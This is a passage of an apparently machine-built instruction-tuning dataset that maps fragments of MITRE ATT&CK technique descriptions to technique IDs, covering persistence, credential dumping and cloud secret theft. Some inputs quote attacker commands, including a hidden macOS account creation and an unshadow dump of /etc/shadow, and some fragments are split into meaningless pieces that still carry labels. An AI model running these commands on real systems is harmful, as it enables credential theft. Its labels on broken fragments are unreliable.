malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every user account in macOS has a userID associated with it.", "output": "T1147", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every user account in macOS has a userID associated with it. ### Response: T1147."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When creating a user, you can specify the userID for that account.", "output": "T1147", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When creating a user, you can specify the userID for that account. ### Response: T1147."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen.", "output": "T1147", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. ### Response: T1147."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl .", "output": "T1147", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . ### Response: T1147."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).", "output": "T1147", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit). ### Response: T1147."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses.", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account.", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", "output": "T1578.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances. ### Response: T1578.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code.", "output": "T1500", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. ### Response: T1500."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries.", "output": "T1500", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. ### Response: T1500."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).", "output": "T1500", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). ### Response: T1500."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "output": "T1500", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) ### Response: T1500."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secrets managers support the secure centralized management of passwords, API keys, and other credential material.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secrets managers support the secure centralized management of passwords, API keys, and other credential material. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation:", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secrets Manager)(Citation: Google Cloud Secrets)(Citation:", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secrets Manager)(Citation: Google Cloud Secrets)(Citation: ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.", "output": "T1555.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API. ### Response: T1555.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage information repositories to mine valuable information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage information repositories to mine valuable information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage code repositories to collect valuable information.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage code repositories to collect valuable information. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code repositories are tools/services that store source code and automate software builds.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code repositories are tools/services that store source code and automate software builds. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users typically interact with code repositories through a web application or command-line utilities such as git.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users typically interact with code repositories through a web application or command-line utilities such as git. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:**", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking.", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>.", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation:", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code> ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When operating systems boot up, they can start processes that perform background system functions.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start processes that perform background system functions. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. 